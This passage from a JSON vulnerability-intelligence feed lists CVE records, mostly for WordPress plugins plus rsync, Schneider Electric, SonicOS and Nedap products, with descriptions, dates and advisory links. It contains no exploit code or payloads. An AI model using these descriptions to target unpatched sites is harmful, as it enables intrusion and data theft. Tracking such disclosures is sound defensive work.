https://plugins.trac.wordpress.org/browser/cf7-redirect-thank-you-page/tags/1.0.7/includes/admin/tabs_page.php#L87\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3220810%40cf7-redirect-thank-you-page&new=3220810%40cf7-redirect-thank-you-page&sfp_email=&sfph_mail=#file19", "creation_timestamp": "2025-01-15T10:12:10.000000Z"}, {"uuid": "ad809268-8422-468c-bda0-73f871f156b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12403", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1716", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12403\n\ud83d\udd39 Description: The Image Gallery \u2013 Responsive Photo Gallery plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'awsmgallery' parameter in all versions up to, and including, 1.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-15T09:25:55.266Z\n\ud83d\udccf Modified: 2025-01-15T09:25:55.266Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ca11e840-04bd-4731-bfa9-3bf8ed98e155?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3221064%40awesome-responsive-photo-gallery&new=3221064%40awesome-responsive-photo-gallery&sfp_email=&sfph_mail=\n3. https://plugins.trac.wordpress.org/browser/awesome-responsive-photo-gallery/trunk/inc/arpg-process-options.php?rev=1877314", "creation_timestamp": "2025-01-15T10:11:57.000000Z"}, {"uuid": "5b14f536-e453-4cab-8b7c-844d9f41276d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12593", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1735", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12593\n\ud83d\udd39 Description: The PDF for WPForms + Drag and Drop Template Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's yeepdf_dotab shortcode in all versions up to, and including, 4.6.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-15T11:24:36.516Z\n\ud83d\udccf Modified: 2025-01-15T11:24:36.516Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7e6b24a2-55ed-40e7-bcf0-a9ceb8ea022c?source=cve\n2. https://wordpress.org/plugins/pdf-for-wpforms/#developers\n3. https://plugins.trac.wordpress.org/changeset/3222206/", "creation_timestamp": "2025-01-15T12:21:48.000000Z"}, {"uuid": "412c2d2e-6787-47b2-9805-d190974b8bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1759", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12084\n\ud83d\udd39 Description: A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer.\n\ud83d\udccf Published: 2025-01-15T14:16:35.363Z\n\ud83d\udccf Modified: 2025-01-15T15:02:44.467Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12084\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330527\n3. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-01-15T15:10:13.000000Z"}, {"uuid": "c1d10dac-b7e1-456e-892c-9e12d3728bf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12614", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1930", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12614\n\ud83d\udd39 Description: The Passwords Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'pms_save_setting' and 'post_new_pass' AJAX actions in all versions up to, and including, 1.4.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugins settings and add passwords.\n\ud83d\udccf Published: 2025-01-16T09:39:14.567Z\n\ud83d\udccf Modified: 2025-01-16T09:39:14.567Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/898c5554-fd02-47a2-a1f9-1c488cfab57e?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/pms-settings-ajax-action.php\n3. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/pms-passwords-ajax-action.php", "creation_timestamp": "2025-01-16T09:55:32.000000Z"}, {"uuid": "523a330c-5581-4a9d-90b8-bf43ef9e58e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12529", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3066", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12529\n\ud83d\udd39 Description: The brodos.net Onlineshop Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'BrodosCategory' shortcode in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-25T07:24:14.367Z\n\ud83d\udccf Modified: 2025-01-25T07:24:14.367Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/19a672c6-e911-46bb-a55b-c5788eedca3e?source=cve\n2. https://plugins.trac.wordpress.org/browser/brodos-net-onlineshop/tags/2.0.1/class.onlineshop-init.php#L113", "creation_timestamp": "2025-01-25T08:05:48.000000Z"}, {"uuid": "aabe4822-97cf-44db-b287-8d1eb1eb569e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12885", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3065", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12885\n\ud83d\udd39 Description: The Connections Business Directory plugin for WordPress is vulnerable to arbitrary directory deletion due to insufficient file path validation when deleting a connections image directory in all versions up to, and including, 10.4.66. This makes it possible for authenticated attackers, with Administrator-level access and above, to delete arbitrary folders on the server and all their content.\n\ud83d\udccf Published: 2025-01-25T07:24:14.745Z\n\ud83d\udccf Modified: 2025-01-25T07:24:14.745Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/25e0c269-55c2-49f0-96bb-ae2696e2cea8?source=cve\n2. https://wordpress.org/plugins/connections/", "creation_timestamp": "2025-01-25T08:05:44.000000Z"}, {"uuid": "17d7d981-58e1-4108-8ac8-6d5bf5787740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2118", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12703\n\ud83d\udd39 Description: CWE-502: Deserialization of untrusted data vulnerability exists that could lead to loss of confidentiality, integrity\nand potential remote code execution on workstation when a non-admin authenticated user opens a malicious\nproject file.\n\ud83d\udccf Published: 2025-01-17T10:23:52.108Z\n\ud83d\udccf Modified: 2025-01-17T10:23:52.108Z\n\ud83d\udd17 References:\n1. https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-014-06&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-014-06.pdf", "creation_timestamp": "2025-01-17T10:57:03.000000Z"}, {"uuid": "92bf123f-a813-4042-b2e1-b24641f1872d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2112", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12399\n\ud83d\udd39 Description: CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel vulnerability\nexists that could cause partial loss of confidentiality, loss of integrity and availability of the HMI when attacker performs\nman in the middle attack by intercepting the communication.\n\ud83d\udccf Published: 2025-01-17T09:37:35.734Z\n\ud83d\udccf Modified: 2025-01-17T09:37:35.734Z\n\ud83d\udd17 References:\n1. https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-014-02&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-014-02.pdf", "creation_timestamp": "2025-01-17T09:56:18.000000Z"}, {"uuid": "5dd96a8a-3978-4cfb-bb99-54276b1d71be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2111", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12476\n\ud83d\udd39 Description: CWE-611: Improper Restriction of XML External Entity Reference vulnerability exists that could\ncause information disclosure, impacts workstation integrity and potential remote code execution on the\ncompromised computer, when specific crafted XML file is imported in the Web Designer configuration tool.\n\ud83d\udccf Published: 2025-01-17T09:42:47.616Z\n\ud83d\udccf Modified: 2025-01-17T09:42:47.616Z\n\ud83d\udd17 References:\n1. https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-014-04&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-014-04.pdf", "creation_timestamp": "2025-01-17T09:56:17.000000Z"}, {"uuid": "4260d343-a3f4-4dd3-b7ea-c5d3dd265458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12494", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2886", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12494\n\ud83d\udd39 Description: The BMLT Meeting Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bmlt_meeting_map' shortcode in all versions up to, and including, 2.6.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-24T09:21:51.989Z\n\ud83d\udccf Modified: 2025-01-24T09:21:51.989Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/73c01967-262c-48ab-a464-401b1cadd4be?source=cve\n2. https://plugins.trac.wordpress.org/browser/bmlt-meeting-map/tags/2.6.0/meeting_map.php#L33\n3. https://plugins.trac.wordpress.org/browser/bmlt-meeting-map/tags/2.6.0/meeting_map.php#L462", "creation_timestamp": "2025-01-24T10:03:59.000000Z"}, {"uuid": "ae3de259-f56b-4de6-a27a-edddd594616b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2091", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12806\n\ud83d\udd39 Description: A post-authentication absolute path traversal vulnerability in SonicOS management allows a remote attacker to read an arbitrary file.\n\ud83d\udccf Published: 2025-01-09T07:28:13.844Z\n\ud83d\udccf Modified: 2025-01-17T02:17:43.603Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0004", "creation_timestamp": "2025-01-17T02:56:08.000000Z"}, {"uuid": "d0823e07-8c91-40be-a607-eb0868fe4b63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12508", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2108", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12508\n\ud83d\udd39 Description: The Glofox Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'glofox' and 'glofox_lead_capture ' shortcodes in all versions up to, and including, 2.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-17T07:01:26.281Z\n\ud83d\udccf Modified: 2025-01-17T07:01:26.281Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3ed59d5b-0922-44e9-98e8-07b91d1f4840?source=cve\n2. https://wordpress.org/plugins/glofox-shortcodes/", "creation_timestamp": "2025-01-17T07:56:41.000000Z"}, {"uuid": "0a35b259-e4ef-44f6-99b9-dbfb7d4aca00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12637", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2104", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12637\n\ud83d\udd39 Description: The Moving Users plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.05 via the export functionality. The JSON files are stored in predictable locations with guessable file names when exporting user data. This could allow unauthenticated attackers to extract sensitive user data, for instance, email addresses, hashed passwords, and IP addresses.\n\ud83d\udccf Published: 2025-01-17T07:01:28.253Z\n\ud83d\udccf Modified: 2025-01-17T07:01:28.253Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/8209761c-2cfe-49b9-ab4c-49a9a13b5dcf?source=cve\n2. https://wordpress.org/plugins/moving-users/", "creation_timestamp": "2025-01-17T07:56:37.000000Z"}, {"uuid": "63937218-a368-4baf-a0fb-f73d5ad3c258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12598", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2103", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12598\n\ud83d\udd39 Description: The MyBookProgress by Stormhill Media plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018book\u2019 parameter in all versions up to, and including, 1.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-17T07:01:28.713Z\n\ud83d\udccf Modified: 2025-01-17T07:01:28.713Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b20a11c1-9aa0-4f5d-af3d-89fb9bf4e1d0?source=cve\n2. https://wordpress.org/plugins/mybookprogress/#developers", "creation_timestamp": "2025-01-17T07:56:37.000000Z"}, {"uuid": "f042a2fe-e17d-4063-b2f6-c727c40a29ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12466", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2102", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12466\n\ud83d\udd39 Description: The Proofreading plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'nonce' parameter in all versions up to, and including, 1.2.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-17T07:01:29.141Z\n\ud83d\udccf Modified: 2025-01-17T07:01:29.141Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b3f666a3-6287-4c9b-94d3-7bc457701af2?source=cve\n2. https://plugins.trac.wordpress.org/browser/proofreading/tags/1.2.1.1/admin/partials/proofreading-admin-display.php#L103\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3223417%40proofreading&new=3223417%40proofreading&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-17T07:56:36.000000Z"}, {"uuid": "498b53e1-f57e-4812-b86c-4957bdfea131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12203", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2101", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12203\n\ud83d\udd39 Description: The RSS Icon Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018link_color\u2019 parameter in all versions up to, and including, 5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.\n\ud83d\udccf Published: 2025-01-17T07:01:29.571Z\n\ud83d\udccf Modified: 2025-01-17T07:01:29.571Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/fbd8fec7-c95a-4c03-ac0d-894a54906863?source=cve\n2. https://plugins.trac.wordpress.org/browser/rss-icon-widget/trunk/rss-icon-widget.php#L83\n3. https://plugins.trac.wordpress.org/browser/rss-icon-widget/trunk/rss-icon-widget.php#L195", "creation_timestamp": "2025-01-17T07:56:35.000000Z"}, {"uuid": "3233a545-d3a1-447f-8e90-c0a477753e23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12370", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2110", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12370\n\ud83d\udd39 Description: The WP Hotel Booking plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check when adding rooms in all versions up to, and including, 2.1.5. This makes it possible for unauthenticated attackers to add rooms with custom prices.\n\ud83d\udccf Published: 2025-01-17T08:25:38.307Z\n\ud83d\udccf Modified: 2025-01-17T08:25:38.307Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5df32365-5381-48e0-9313-7e83c4c6c440?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3210798%40wp-hotel-booking%2Ftags%2F2.1.5&new=3214765%40wp-hotel-booking%2Ftags%2F2.1.6", "creation_timestamp": "2025-01-17T08:56:59.000000Z"}, {"uuid": "3dc15b2b-40a0-4aef-a623-dd81ee3a0d10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2119", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12142\n\ud83d\udd39 Description: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor vulnerability exists that could\ncause information disclosure of restricted web page, modification of web page and denial of\nservice when specific web pages are modified and restricted functions are invoked.\n\ud83d\udccf Published: 2025-01-17T10:19:11.768Z\n\ud83d\udccf Modified: 2025-01-17T10:19:11.768Z\n\ud83d\udd17 References:\n1. https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-014-05&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-014-05.pdf", "creation_timestamp": "2025-01-17T10:57:03.000000Z"}, {"uuid": "a8ad8d6c-e2ad-4aa4-ae7a-7e20d36559d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12005", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2383", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12005\n\ud83d\udd39 Description: The WP-BibTeX plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.0.1. This is due to missing or incorrect nonce validation on the wp_bibtex_option_page() function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-21T09:21:09.602Z\n\ud83d\udccf Modified: 2025-01-21T09:21:09.602Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/077538e2-ef9a-490f-9188-31f9cb82aaf7?source=cve\n2. https://wordpress.org/plugins/wp-bibtex/#developers\n3. https://plugins.trac.wordpress.org/browser/wp-bibtex/trunk/wp-bibtex-options.php#L55\n4. https://plugins.trac.wordpress.org/changeset/3225023", "creation_timestamp": "2025-01-21T10:01:18.000000Z"}, {"uuid": "dbb1a77b-1bb0-4306-b077-feebe3df7a58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12578", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2157", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12578\n\ud83d\udd39 Description: The Tickera \u2013 WordPress Event Ticketing plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 3.5.4.8 via the 'tickera_tickets_info' endpoint. This makes it possible for unauthenticated attackers to extract sensitive data from bookings like full names, email addresses, check-in/out timestamps and more.\n\ud83d\udccf Published: 2024-12-14T04:23:39.780Z\n\ud83d\udccf Modified: 2025-01-17T16:27:12.789Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2db29c12-bf8a-4d5a-b12a-6c74b816d5f0?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3201476%40tickera-event-ticketing-system&new=3201476%40tickera-event-ticketing-system&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-17T16:56:58.000000Z"}, {"uuid": "6cab78cd-1919-4716-b371-be190e115056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2179", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12757\n\ud83d\udd39 Description: Nedap Librix Ecoreader \n is missing authentication for critical functions that could allow an \nunauthenticated attacker to potentially execute malicious code.\n\ud83d\udccf Published: 2025-01-17T17:41:38.174Z\n\ud83d\udccf Modified: 2025-01-17T17:41:38.174Z\n\ud83d\udd17 References:\n1. https://www.cisa.gov/news-events/ics-advisories/icsa-25-007-02", "creation_timestamp": "2025-01-17T17:57:14.000000Z"}, {"uuid": "de6f4202-d5bb-475b-9a02-a0940c3388cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12385", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2284", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12385\n\ud83d\udd39 Description: The WP Abstracts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.2. This is due to missing nonce validation on the wpabstracts_load_status() and wpabstracts_delete_abstracts() functions. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-18T07:05:08.582Z\n\ud83d\udccf Modified: 2025-01-18T07:05:08.582Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/79af711e-d044-447e-9802-8be648a3843d?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-abstracts-manuscripts-manager/trunk/abstracts/abstracts.manage.php#L205\n3. https://plugins.trac.wordpress.org/browser/wp-abstracts-manuscripts-manager/trunk/abstracts/abstracts.manage.php#L148\n4. https://wordpress.org/plugins/wp-abstracts-manuscripts-manager/#developers\n5. https://plugins.trac.wordpress.org/changeset/3223874/", "creation_timestamp": "2025-01-18T07:57:22.000000Z"}, {"uuid": "0a7905b9-151e-4ec4-9d90-04a114ebc3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12071", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2271", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12071\n\ud83d\udd39 Description: The Evergreen Content Poster \u2013 Auto Post and Schedule Your Best Content to Social Media plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the delete_network_post() function in all versions up to, and including, 1.4.4. This makes it possible for unauthenticated attackers to delete arbitrary posts and pages.\n\ud83d\udccf Published: 2025-01-18T03:21:12.989Z\n\ud83d\udccf Modified: 2025-01-18T03:21:12.989Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/aa07f48f-370f-4985-a6fc-a94ed5c59ed4?source=cve\n2. https://plugins.trac.wordpress.org/browser/evergreen-content-poster/trunk/includes/class-evergreen_content_poster.php#L345\n3. https://plugins.trac.wordpress.org/browser/evergreen-content-poster/trunk/admin/class-evergreen_content_poster-admin.php#L333\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3224190%40evergreen-content-poster&new=3224190%40evergreen-content-poster&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-18T03:57:31.000000Z"}, {"uuid": "a07d426b-8925-48c1-a6fb-962d0a153301", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12696", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2281", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12696\n\ud83d\udd39 Description: The Picture Gallery \u2013 Frontend Image Uploads, AJAX Photo List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's videowhisper_picture_upload_guest shortcode in all versions up to, and including, 1.5.22 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-18T07:05:10.013Z\n\ud83d\udccf Modified: 2025-01-18T07:05:10.013Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a116c846-72df-4701-893a-744a26b191d6?source=cve\n2. https://wordpress.org/plugins/picture-gallery/#developers\n3. https://plugins.trac.wordpress.org/changeset/3224277/", "creation_timestamp": "2025-01-18T07:57:17.000000Z"}, {"uuid": "e9ab5187-82fc-4d56-8d40-8d4b7930ee58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12879", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2519", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12879\n\ud83d\udd39 Description: The WPBot Pro Wordpress Chatbot plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'qc_wp_latest_update_check_pro' function in all versions up to, and including, 13.5.5. This makes it possible for authenticated attackers, 